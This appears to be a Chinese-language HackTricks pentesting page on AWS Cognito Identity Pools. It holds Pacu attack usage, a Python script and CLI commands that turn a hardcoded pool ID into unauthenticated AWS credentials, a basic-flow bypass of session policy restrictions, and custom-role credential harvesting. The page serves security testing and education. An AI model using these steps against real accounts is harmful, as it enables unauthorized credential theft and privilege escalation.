Cognito Identity Pools

支持HackTricks

基本信息

身份池通过使您的用户获取临时凭证发挥关键作用。这些凭证对于访问各种AWS服务至关重要,包括但不限于Amazon S3和DynamoDB。身份池的一个显著特点是支持匿名访客用户和一系列身份提供者进行用户认证。支持的身份提供者包括:

  • Amazon Cognito用户池

  • 社交登录选项,如Facebook、Google、使用Amazon登录和使用Apple登录

  • 符合OpenID Connect(OIDC)标准的提供者

  • SAML(安全断言标记语言)身份提供者

  • 开发人员认证身份

# Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows:
import boto3

# Initialize the Amazon Cognito Identity client
client = boto3.client('cognito-identity')

# Assume you have already created an identity pool and obtained the IdentityPoolId
identity_pool_id = 'your-identity-pool-id'

# Add an identity provider to the identity pool
response = client.set_identity_pool_roles(
IdentityPoolId=identity_pool_id,
Roles={
'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole',
'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole',
}
)

# Print the response from AWS
print(response)

Cognito Sync

要生成身份池会话,首先需要生成身份 ID。这个身份 ID 是用户会话的标识。这些标识最多可以有 20 个数据集,每个数据集可以存储最多 1MB 的键值对。

这对于保留用户信息(始终使用相同的身份 ID 的用户)非常有用。

此外,cognito-sync 服务是允许管理和同步这些信息(在数据集中发送信息流和 SNS 消息等)的服务。

用于渗透测试的工具

  • Pacu,AWS 利用框架,现在包括“cognito__enum”和“cognito__attack”模块,自动枚举帐户中所有 Cognito 资产并标记弱配置、用于访问控制的用户属性等,并自动创建用户(包括 MFA 支持)和基于可修改的自定义属性、可用的身份池凭据、ID 令牌中可假定的角色等进行特权升级。

有关模块功能的描述,请参阅博客文章的第 2 部分。有关安装说明,请参阅主要Pacu页面。

用法

示例 cognito__attack 用法,尝试创建用户以及针对给定身份池和用户池客户端的所有权限提升向量:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

示例cognito__enum用法,用于收集当前AWS账户中可见的所有用户池、用户池客户端、身份池、用户等。

Pacu (new:test) > run cognito__enum
  • Cognito Scanner 是一个用 Python 编写的 CLI 工具,实现对 Cognito 的不同攻击,包括未经授权的账户创建和身份池升级。

安装

$ pip install cognito-scanner

用法

$ cognito-scanner --help

查看更多信息,请访问 https://github.com/padok-team/cognito-scanner

访问 IAM 角色

未经身份验证

在 Cognito 应用程序中,作为未经身份验证的用户,攻击者唯一需要知道的是身份池 ID,而且这个ID必须在网页/移动应用程序中硬编码以便使用。一个 ID 看起来像这样:eu-west-1:098e5341-8364-038d-16de-1865e435da3b(无法通过暴力破解获得)。

通过默认方式创建的 IAM Cognito 未经身份验证角色称为 Cognito_<Identity Pool name>Unauth_Role

如果您发现一个硬编码的身份池 ID 并且允许未经身份验证的用户,您可以使用以下方法获取 AWS 凭证:

import requests

region = "us-east-1"
id_pool_id = 'eu-west-1:098e5341-8364-038d-16de-1865e435da3b'
url = f'https://cognito-identity.{region}.amazonaws.com/'
headers = {"X-Amz-Target": "AWSCognitoIdentityService.GetId", "Content-Type": "application/x-amz-json-1.1"}
params = {'IdentityPoolId': id_pool_id}

r = requests.post(url, json=params, headers=headers)
json_resp = r.json()

if not "IdentityId" in json_resp:
print(f"Not valid id: {id_pool_id}")
exit

IdentityId = r.json()["IdentityId"]

params = {'IdentityId': IdentityId}

headers["X-Amz-Target"] = "AWSCognitoIdentityService.GetCredentialsForIdentity"
r = requests.post(url, json=params, headers=headers)

print(r.json())

或者您可以使用以下 aws cli 命令

aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --no-sign

请注意,默认情况下,未经身份验证的Cognito用户无法拥有任何权限,即使通过策略分配了权限。请查看以下部分。

增强 vs 基本身份验证流程

前一部分遵循了默认的增强身份验证流程。该流程为生成的IAM角色会话设置了限制性会话策略。此策略将仅允许会话使用此列表中的服务(即使角色具有访问其他服务的权限)。

然而,如果身份池启用了"基本(经典)流程",则可以绕过此限制,用户将能够使用该流程获取会话,该会话不会受到限制性的会话策略

# Get auth ID
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign

# Get login token
aws cognito-identity get-open-id-token --identity-id <identity_id> --no-sign

# Use login token to get IAM session creds
## If you don't know the role_arn use the previous enhanced flow to get it
aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::<acc_id>:role/<role_name>" --role-session-name sessionname --web-identity-token <token> --no-sign

如果收到此错误,那是因为基本流程未启用(默认)

An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.

拥有一组IAM凭据后,您应该检查您拥有的访问权限并尝试提升权限

已认证

请记住已认证用户可能会被授予不同的权限,因此如果您可以在应用内注册,请尝试这样做并获取新凭据。

还可能为访问身份池的已认证用户提供角色

为此,您可能需要访问身份提供者。如果是Cognito用户池,也许您可以滥用默认行为并自行创建新用户

通过默认方式创建的IAM Cognito已认证角色称为Cognito_<Identity Pool name>Auth_Role

无论如何,以下示例假定您已经登录到用于访问身份池的Cognito用户池中(不要忘记还可以配置其他类型的身份提供者)。

aws cognito-identity get-id \
--identity-pool-id <identity_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# 从上一个命令的响应中获取identity_id
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>


# 在IdToken中,您可以找到用户由于用户池组而具有的角色
# 使用--custom-role-arn获取特定角色的凭据
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
    --custom-role-arn <role_arn> \
    --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

可能会根据用户登录的身份提供者或甚至仅根据用户(使用声明)配置不同的IAM角色。因此,如果您可以通过相同或不同的提供者访问不同的用户,登录并访问所有这些用户的IAM角色可能是值得的

支持HackTricks

Last updated